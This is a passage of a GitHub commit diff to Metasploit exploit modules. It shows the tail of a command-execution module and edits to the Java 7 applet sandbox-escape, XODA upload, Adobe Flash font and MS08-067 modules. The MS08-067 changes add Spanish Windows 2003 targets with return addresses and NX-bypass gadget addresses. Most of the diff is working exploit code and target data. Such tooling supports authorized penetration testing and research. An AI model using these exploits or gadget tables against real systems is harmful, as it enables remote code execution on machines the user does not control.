+ res = send_command(sock, node_id, cmd)
+ disconnect
+
+ if res and res =~ /-1/ and res=~ /NODE (\d*)/
+ # Retry with the good node_id
+ node_id = $1
+ print_good("#{peer} - Node ID #{node_id} discovered")
+ connect
+ print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
+ res = send_command(sock, node_id, cmd)
+ disconnect
+ end
+
+ # Read command output from socket if cmd/unix/generic payload was used
+ if (datastore['CMD'])
+ if res and res =~ /\x30\xad/
+ print_good("#{peer} - Command executed successfully")
+ print_status("Output:\n#{res.split("\x30\xad").last}")
+ else
+ print_error("#{peer} - Failed to execute the command")
+ end
+ end
+
+ end
+
+end
View
19 modules/exploits/multi/browser/java_jre17_exec.rb
@@ -20,10 +20,13 @@ def initialize( info = {} )
super( update_info( info,
'Name' => 'Java 7 Applet Remote Code Execution',
'Description' => %q{
- This module exploits a vulnerability in Java 7, which allows an attacker to run arbitrary
- Java code outside the sandbox. This flaw is also being exploited in the wild, and there is
- no patch from Oracle at this point. The exploit has been tested to work against: IE, Chrome
- and Firefox across different platforms.
+ This module exploits a vulnerability in Java 7, which allows an attacker to run
+ arbitrary Java code outside the sandbox. The vulnerability seems to be related to
+ the use of the newly introduced ClassFinder#resolveClass in Java 7, which allows
+ the sun.awt.SunToolkit class to be loaded and modified. Please note this flaw is
+ also being exploited in the wild, and there is no patch from Oracle at this point.
+ Our module has been successfully tested on multiple setups, including: IE, Firefox,
+ Chrome and Safari on Windows, Linux and OS X, etc.
},
'License' => MSF_LICENSE,
'Author' =>
@@ -35,9 +38,11 @@ def initialize( info = {} )
],
'References' =>
[
- #[ 'CVE', '' ],
- #[ 'OSVDB', '' ],
+ [ 'CVE', '2012-4681' ],
+ [ 'OSVDB', '84867' ],
[ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ],
+ [ 'URL', 'http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html' ],
+ [ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/' ],
[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ]
],
'Platform' => [ 'java', 'win', 'linux' ],
@@ -95,7 +100,7 @@ def on_request_uri( cli, request )
jar.add_file(full, '')
end
end
- fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-XXXX", path ), "rb")
+ fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-4681", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
View
1 modules/exploits/unix/webapp/xoda_file_upload.rb
@@ -29,6 +29,7 @@ def initialize(info={})
],
'References' =>
[
+ [ 'BID', '55127' ],
[ 'EDB', '20703' ]
],
'Payload' =>
View
11 modules/exploits/windows/browser/adobe_flash_otf_font.rb
@@ -14,12 +14,14 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info={})
super(update_info(info,
- 'Name' => "Adobe Flash Player 11.3 Font Parsing Code Execution",
+ 'Name' => "Adobe Flash Player 11.3 Kern Table Parsing Integer Overflow",
'Description' => %q{
This module exploits a vulnerability found in the ActiveX component of Adobe
- Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF,
- it is possible to gain arbitrary remote code execution under the context of the
- user, as exploited in the wild.
+ Flash Player before 11.3.300.271. By supplying a specially crafted .otf font file
+ with a large nTables value in the 'kern' header, it is possible to trigger an
+ integer overflow, which results in remote code execution under the context of the
+ user. This vulnerability has also been exploited in the wild in limited targeted
+ attacks.
},
'License' => MSF_LICENSE,
'Author' =>
@@ -35,6 +37,7 @@ def initialize(info={})
[ 'BID', '55009'],
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],
[ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],
+ [ 'URL', 'https://developer.apple.com/fonts/TTRefMan/RM06/Chap6.html' ],
[ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ]
],
'Payload' =>
View
39 modules/exploits/windows/smb/ms08_067_netapi.rb
@@ -198,7 +198,6 @@ def initialize(info = {})
}
],
-
# Standard return-to-ESI without NX bypass
[ 'Windows 2003 SP2 German (NO NX)',
{
@@ -218,7 +217,6 @@ def initialize(info = {})
}
],
-
#
# NON-ENGLISH TARGETS - AUTOMATICALLY GENERATED
#
@@ -666,6 +664,43 @@ def initialize(info = {})
}
], # JMP ESI WS2HELP.DLL
+ # Standard return-to-ESI without NX bypass
+ [ 'Windows 2003 SP1 Spanish (NO NX)',
+ {
+ 'Ret' => 0x71ac21a2,
+ 'Scratch' => 0x00020408,
+ }
+ ], # JMP ESI WS2HELP.DLL
+
+ # Brett Moore's crafty NX bypass for 2003 SP1
+ [ 'Windows 2003 SP1 Spanish (NX)',
+ {
+ 'RetDec' => 0x7c90568c, # dec ESI, ret @SHELL32.DLL
+ 'RetPop' => 0x7ca27cf4, # push ESI, pop EBP, ret @SHELL32.DLL
+ 'JmpESP' => 0x7c86fed3, # jmp ESP @NTDLL.DLL
+ 'DisableNX' => 0x7c83e413, # NX disable @NTDLL.DLL
+ 'Scratch' => 0x00020408,
+ }
+ ],
+
+ # Standard return-to-ESI without NX bypass
+ [ 'Windows 2003 SP2 Spanish (NO NX)',
+ {
+ 'Ret' => 0x71ac3969,
+ 'Scratch' => 0x00020408,
+ }
+ ], # JMP ESI WS2HELP.DLL
+
+ # Brett Moore's crafty NX bypass for 2003 SP2
+ [ 'Windows 2003 SP2 Spanish (NX)',
+ {
+ 'RetDec' => 0x7c86beb8, # dec ESI, ret @NTDLL.DLL
+ 'RetPop' => 0x7ca1e84e, # push ESI, pop EBP, ret @SHELL32.DLL
+ 'JmpESP' => 0x7c86a01b, # jmp ESP @NTDLL.DLL
+ 'DisableNX' => 0x7c83f517, # NX disable @NTDLL.DLL
+ 'Scratch' => 0x00020408,
+ }
+ ]
#
# Missing Targets
View
2 modules/post/windows/gather/tcpnetstat.rb
@@ -40,7 +40,7 @@ def parse_tcptable(buffer)
print_status("Total TCP Entries: #{entries}")
rtable = Rex::Ui::Text::Table.new(
- 'Header' => 'Routing Table',
+ 'Header' => 'Connection Table',
'Indent' => 2,
'Columns' => ['STATE', 'LHOST', 'LPORT', 'RHOST', 'RPORT']
)

0 comments on commit f353c6e

Please sign in to comment.
Something went wrong with that request. Please try again.